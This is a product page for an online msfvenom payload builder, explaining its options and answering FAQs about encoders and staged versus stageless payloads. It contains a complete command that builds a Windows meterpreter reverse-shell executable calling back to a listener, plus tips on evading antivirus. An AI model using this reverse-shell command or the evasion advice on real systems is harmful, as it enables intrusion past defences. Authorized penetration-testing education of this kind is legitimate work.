What does this tool do?
Msfvenom Payload Builder generates a ready-to-run msfvenom command by clicking platform (Windows x64/x86, Linux, Android, PHP, Python, Java/JSP, ASP/ASPX), payload (meterpreter/reverse_tcp, reverse_https, shell_reverse_tcp), LHOST/LPORT, output format (exe, dll, msi, elf, apk, war, raw, psh) and encoder options. It combines encoders like shikata_ga_nai with -i iterations and -b bad characters. Everything runs in your browser — no data is sent to any server.
How to use it
- Enter your listener IP and port.
- Pick the command or payload that fits your setup.
- Copy it and use it only on systems you are authorized to test.
What it solves
When you exploit a target with Metasploit you must produce a payload that matches the right architecture, format and handler. This tool assembles the full command — e.g. 'msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe' — without errors; then in 'msfconsole' you catch it with 'exploit/multi/handler' setting the same payload, LHOST and LPORT. An Android APK payload via -p android/meterpreter/reverse_tcp -f apk is one click away too.
Encoders and AV evasion
Encoder options change the payload's byte signature: -e x86/shikata_ga_nai -i 10 applies multiple iterations, and -b '\x00\x0a\x0d' strips bad characters like null/CR/LF from the payload. Modern Defender is rarely beaten by shikata alone anymore, but bad-char removal and format choice (exe-service, dll, psh) are still critical. The builder shows in real time how each option you pick maps into the command.
Frequently asked questions
What is an encoder — does shikata_ga_nai still bypass AV?
An encoder is a wrapper that polymorphically re-encodes the payload bytes and decodes them at runtime; its original purpose was to defeat signature-based AV. Today the shikata_ga_nai signature is well known, so on its own it rarely bypasses modern Defender; serious evasion needs a custom shellcode loader, encryption or non-msfvenom tooling.
What is the difference between staged and stageless payloads?
A staged payload (e.g. windows/meterpreter/reverse_tcp) first sends a small stager that then pulls the real payload from Metasploit; it is small but needs a stable connection. A stageless payload (windows/meterpreter_reverse_tcp, with an underscore) carries all the code at once; it is larger but works in a single packet, and your handler's 'set payload' must match it exactly.
Is Msfvenom Payload Builder free?
Yes. Msfvenom Payload Builder and all 300+ tools on MagmaNex are completely free with no signup or account required.
Is my data safe?
Yes. Everything runs locally in your browser. The data you enter is never sent to a server, stored, or shared.
Does it work on mobile?
Yes. Msfvenom Payload Builder works on phones, tablets and desktops — no app download needed.
🔒 Privacy: everything runs in your browser, your data is never sent to a server.